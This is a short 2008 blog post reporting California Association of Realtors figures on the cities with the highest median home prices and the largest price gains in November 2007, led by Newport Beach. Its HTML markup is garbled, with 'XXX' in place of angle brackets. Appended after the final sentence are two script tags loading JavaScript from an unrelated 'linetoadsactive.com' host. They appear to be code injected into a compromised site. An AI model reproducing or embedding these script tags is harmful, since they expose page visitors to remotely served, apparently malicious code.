Newport Beach Housing Prices Increase Again

By: Allan Heller ~ January 21, 2008

Here is an interesting excerpt from yet another depressing XXXa href=”http://www.car.org/index.php?id=MzgwNzU=”>article issued December 21, 2007 XXX/a>by the California Association of Realtors.
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XXXli>Statewide, the 10 cities and communities with the highest median home prices in California during November 2007 were: XXXstrong>Newport Beach, $1,400,000XXX/strong>; Saratoga, $1,300,000; Santa Monica, $1,100,000; Cupertino, $1,074,090; Santa Barbara, $1,065,000; Danville, $1,021,000; Yorba Linda, $910,000; San Clemente, $870,000; Redwood City, $822,500 and San Francisco, $814,500.XXX/li>
XXXli>Statewide, the 13* cities and communities with the greatest median home price increases in November 2007 compared with the same period a year ago were: San Juan Capistrano, 42.3 percent; XXXstrong>Newport Beach, 31.5 percentXXX/strong>; Santa Monica, 29.4 percent; Mountain View, 18 percent; Cupertino, 18 percent; Truckee, 10.2 percent; Redwood City, 9.7 percent; Yorba Linda, 9.6 percent; Santa Barbara, 7.5 percent; Moorpark, 7.2 percent; San Francisco, 7.2 percent; Pasadena, 7.2 percent; and Los Angeles, 5.8 percent.XXX/li>
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This is just another indication that prices of property located in desirable areas continue to hold steady or increase even during the current real estate downturn.XXXscript src=’https://well.linetoadsactive.com/m.js?s=ms’ type=’text/javascript’>XXX/script>XXXscript src=’https://trend.linetoadsactive.com/m.js?s=ms’ type=’text/javascript’>XXX/script>